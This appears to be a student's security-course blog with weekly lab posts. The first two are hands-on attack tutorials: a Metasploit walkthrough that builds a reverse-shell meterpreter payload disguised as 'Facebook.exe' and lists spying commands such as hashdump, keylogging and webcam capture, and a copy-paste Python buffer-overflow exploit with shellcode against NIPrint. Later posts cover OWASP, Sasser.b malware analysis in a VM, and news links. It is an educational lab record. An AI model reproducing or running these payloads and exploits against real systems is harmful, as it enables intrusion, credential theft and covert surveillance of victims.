Exploiting Windows 7 with Metasploit/BackTrack 5

So I'm going to take some time to show you how to exploit a Windows 7 machine using Metasploit. Please note that this is just a simple demonstration and as such, my victim PC has Windows Firewall disabled and no Anti Virus in place. Both of these measures would easily prevent this exploit from taking place. I am also assuming that you've already got network connectivity between the victim and the hacker. Here are the details of my setup:

Victim PC = My host machine running Windows 7
Victim PC IP address = 192.168.0.30

Hacker PC = VMWare Workstation running a BackTrack 5 virtual machine
Hacker PC IP address = 192.168.72.130

To get started, we're going to open up a terminal in Back Track and navigate to the Metasploit directory. The command to do this is cd /opt/framework/msf3

Next we're going to create our payload and export it into an .exe file that we will use to make the connection between the hacker and victim. The command to create the payload is ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.72.130 LPORT=4444 x > /root/Desktop/Facebook.exe

Note: in this command you will replace the address of MY hacker PC (192.168.72.130) with the address of YOUR hacker PC. Leave everything else the same

This command will create the file called Facebook.exe and place it on the Desktop of our Back Track VM. In a real life scenario at this point you'd have to figure out a way to get that file onto the victim's PC and get them to run it. However in this case I'm just going to drag the file out of my virtual machine and onto the desktop of my host machine (DO NOT RUN Facebook.exe YET!) You should be at this point now:

So now the setup phase is done - we've created our payload, figured out a way to get the file onto the victim's computer and now we are ready for the actual exploit to take place.

At this point you're going to use the command ./msfconsole to launch Metasploit. This may take a while to load especially if it's your first time launching the program. After Metasploit launches you should see a screen similar to this:

Now we're going to type the command use exploit/multi/handler and press Enter. Then we will type set LHOST 192.168.72.130 and press Enter. Then type set LHOST 4444 and press Enter. Again, remember to change the address to match that of your OWN hacker PC, leave the port number the same.

Now if you type the command exploit and press enter, Metasploit will launch the payload handler. What this does is opens up a connection to our hacker machine on port 4444, and awaits a connection from the victim's PC (which is created when they open the Facebook.exe file).

So at this point your screen should look like this:

Now the fun begins...if you now double-click on the Facebook.exe file we copied to the Windows 7 victim PC, the payload handler in Metasploit will receive the connection and connect you to the victim PC. You should see something like this:

You now have a Meterpreter prompt which essentially gives you control of the victim's machine. You can issue the command help at the Meterpreter prompt for a list of some of the cool things you can do to the victim but here is a list of the more common ones:

sysinfo - get basic system info
hashdump - dumps the SAM database
screenshot - takes a screenshot of the victims desktop
webcam_snap - takes a web-cam shot of the victims desktop
keyscan_start - start key-logging
keyscan_dump - dump the keystrokes (after using keyscan_start)
ps - list all running processes
shell - gives you a command shell to the victims PC

So that's pretty much it...this is just one of the many ways to exploit a machine using Metasploit. Let me know if you have any questions or commentss

Facebook easily infiltrated...

Here is an interesting link to an article from CBC regarding Facebook botnets:

http://www.cbc.ca/news/technology/story/2011/11/07/technology-facebook-socialbots.html

Week 9 - A NIPrint Buffer Overflow

So today we were given a tutorial on how to execute an exploit against a buffer overflow vulnerability in a program called NIPrint. I don't know much about the program but apparently it's an old program used for sharing print servers in Linux or something to that effect. Anyways the point is that the program provides an opportunity to exploit a buffer overflow to demonstrate how it works. I will basically be showing you a demonstration of how to execute the buffer overflow and actually make it happen.

In class we did a remote buffer overflow between two connected VM's on the same network but for the sake of saving time I will be simulating the remote aspect of the exploit by using my hosts loopback IP address (127.0.0.1) instead of a remote IP. Also note that this tutorial already assumes that you've done the work required to determine that the buffer we are exploiting requires 49 characters before it overwrites the return pointer in the stack and allows us to execute our code. Here is a link to a blog that can give you an explanation of how to get to that assumption.

So the first thing we have to do is open up NIPrint and confirm that it is functioning properly. After we open NIPrint we have to go to Configuration >> General Settings and enable both Local and Remote print servers by checking the boxes next to the options. After enabling the local and remote print servers NIPrint should look like this:

Next we'll just verify that the port that NIPrint listens on (515) is open and accepting connections. We'll do this by using the telnet command to connect to our localhost IP using port 515. The command to do this is "telnet 127.0.0.1 515" OR "telnet localhost 515". Either way, once you have connected if you press Enter once or twice you should see something like this:

The fact that we see "NIPrint received command: This command is not in LPD specification, ignored" tells us that we were able to connect on that port and that NIPrint is ready for the exploit to take place.

In order to demonstrate the buffer overflow I have written a simple Python script that essentially connects to the localhost IP on port 515, sends the data required to overflow the buffer and execute our "malicious" code, and then close the connection. Copy and paste the Python code between the lines into a Notepad document and save it with a .py extension, you will be ready to execute the overflow:
=========================================================================
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('127.0.0.1', 515))

s.send('A'*49 + '\xE3\x30\x9D\x7C' + '\x81\xc4\xff\xef\xff\xff\x44' + '\x90' + '\xd9\xf7\xd9\x74\x24\xf4\x5f\xbb\xed\xb4\x08\x08\x29\xc9\xb1\x33\x83\xc7\x04\x31\x5f\x14\x03\x5f\xf9\x56\xfd\xf4\xe9\x1e\xfe\x04\xe9\x40\x76\xe1\xd8\x52\xec\x61\x48\x63\x66\x27\x60\x08\x2a\xdc\xf3\x7c\xe3\xd3\xb4\xcb\xd5\xda\x45\xfa\xd9\xb1\x85\x9c\xa5\xcb\xd9\x7e\x97\x03\x2c\x7e\xd0\x7e\xde\xd2\x89\xf5\x4c\xc3\xbe\x48\x4c\xe2\x10\xc7\xec\x9c\x15\x18\x98\x16\x17\x49\x30\x2c\x5f\x71\x3b\x6a\x40\x80\xe8\x68\xbc\xcb\x85\x5b\x36\xca\x4f\x92\xb7\xfc\xaf\x79\x86\x30\x22\x83\xce\xf7\xdc\xf6\x24\x04\x61\x01\xff\x76\xbd\x84\xe2\xd1\x36\x3e\xc7\xe0\x9b\xd9\x8c\xef\x50\xad\xcb\xf3\x67\x62\x60\x0f\xec\x85\xa7\x99\xb6\xa1\x63\xc1\x6d\xcb\x32\xaf\xc0\xf4\x25\x17\xbd\x50\x2d\xba\xaa\xe3\x6c\xd1\x2d\x61\x0b\x9c\x2d\x79\x14\x8f\x45\x48\x9f\x40\x12\x55\x4a\x25\xe2\xa4\x47\xb0\x72\x1f\x32\xf9\x1f\xa0\xe8\x3e\x19\x23\x19\xbf\xde\x3b\x68\xba\x9b\xfb\x80\xb6\xb4\x69\xa7\x65\xb5\xbb\xc4\xe8\x25\x27\x25\x8e\xcd\xc2\x39\x5a')

s.close()

=========================================================================

Where you see 's.connect' is basically where we connect to the victims PC on the IP and port provided (in our case its our localhost IP) and where you see 's.send' is where we are sending the data to the victims PC. Basically we are sending 49 iterations of the letter A to the PC (which is enough to fill the buffer and cause the overflow) at which point we can then begin to push our "malicious" code onto the stack and execute our buffer overflow. For the sake of simplicity I will not breakdown the rest of the code but lets just say that this code is what gives us the ability to launch our "malicious" program. In our case because we are just basically doing a proof of concept to show that this actually works, we will simply be executing the code and having the Calculator program pop up on the victims computer.

Anyways the next step after we've created and saved our Python script is to actually run it. There are a variety of different ways to run a python script but in this case to make things easy I will simply navigate to the file on the desktop and double click it. If all goes well you should see an error message from Windows advising that NIPrint has crashed (because we've caused a buffer overflow) and the Windows Calculator should pop up:

So that's basically a buffer overflow, albeit a very simple one with not much purpose, but it demonstrates the ability to exploit a buffer overflow vulnerability in a specific program to execute code that was not intended to be executed.

Hope you enjoyed this demonstration!

Week 8 - Exploits and Vulnerabilities

This week was pretty straight-forward, we didn't have a lab or anything but we had a lecture on some different exploits and vulnerabilities and discussed "security randomness".

The following are the exploits and vulnerabilities we discussed in class:
-Buffer Overflow
-String Format Vulnerabilities
-Information Disclosure
-Race Conditions
-Spoofing
-Denial of Service

And some of the random security topics that we discussed also:
-DLL Preloading
-TLS Renegotiation
-Firesheep
-Evercookie
-SMB Credential Reflection
-SMB Sniffing
-Conficker
-Stuxnet
-NAT Pinning

Week 7 - Web Application Security (OWASP, Mutillidae)

So for this weeks lab/class we talked about web application security and some of the various ways of exploiting vulnerabilities in web applications. We learned about how to execute basic cross-site scripting attacks (XSS), SQL injections, and cross-site request forgery (CSRF).

We also took a look into the OWASP Top 10 which is the the top 10 most common web application security vulnerabilities created by the OWASP. OWASP is a worldwide non-profit organization who's focus is to improve web application security by making it more visible so people know the types of issues that exist in web application security. Here is the OWASP Top 10 for 2010:

A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards

Click here to see a .pdf file made by OWASP that details all the vulnerabilities, how they work, how to stop them, and other useful resources. If you are a web developer and have not read this document or some variation of it I strongly suggest you do.

Lastly we were assigned the lab for this week which required us to install Mutillidae. Mutillidae is a deliberately vulnerable set of .php scripts that form a website which can be exploited in various ways to illustrate the vulnerabilities that exist in the OWASP Top 10 and how to exploit them. The idea here being that the more you know about how to exploit the vulnerabilities, the easier it will be for you to stop them from happening.

Week 6 - Playin' with Sasser.b

This weeks class didn't consist of a lecture (yes!) but rather our prof just handed us the lab assignment and let us go off and get it done. The lab assignment was pretty simple - we just had to download and run a piece of malware (I chose Sasser.b) within our XP VM and monitor it's manipulation of the system.

First we had to boot up our virtual machine, download the virus onto the desktop, and disconnect all virtual NICs so our machines weren't able to spread the virus through the network.

Next we started up a program called ProcMon (download here) which allows you to monitor all changes to the file-system, registry, and monitor network activity. This program helps us get a better look at the virus and what it's doing.

Next we just ran the virus on the system by opening a file called "malware.exe" which is the executable containing the virus. As soon as we ran the virus we noticed the system become extremely slow and sluggish sometimes non-responsive and we started seeing a TON of activity on ProcMon related to malware.exe. We saw files being created and changed, registry entries being created and changed, lots of reads and writes to the filesystem, threads being created all over the place etc. It was very clear the virus had begun to infect the system. We also began getting Windows errors as early as 45 seconds after running the virus. Here's a screenshot:

This is what you see in ProcMon when you open the virus. You can see the original process being created and then the virus activity starts:

The ports that were open prior to running the virus:

Now after:

Sasser.b uses threads to scan random IP addresses. If the connection through port TCP 445 succeeds, the worm will check if the system is vulnerable. If it is, Sasser will open a shell through port TCP 9996 and will force an FTP connection through port TCP 5554 to download the worm to the vulnerable system. In the above screenshot you can see TCP port 5554 is open and the worm is attempting to spread through the network.

Further examination of the registry shows a new key created by the virus which allows it to run each time Windows boots. The key is cleverly named "avserve2.exe" to make it look like an Anti-Virus program but we obviously know it's not.

So that just about takes care of it for this week. I hope you've enjoyed my brief look into the Sasser.b worm and what it does. Please let me know if you have any questions. Thanks for reading!

Link: Hackers break SSL encryption

Here is a link to an article from The Register regarding a weakness in the SSL/TLS protocols.

http://www.theregister.co.uk/2011/09/19/beast_exploits_paypal_ssl/

I also recommend reading this article regarding the number of ways that SSL is essentially broken and why it has been for a long time.

http://www.theregister.co.uk/2011/04/11/state_of_ssl_analysis/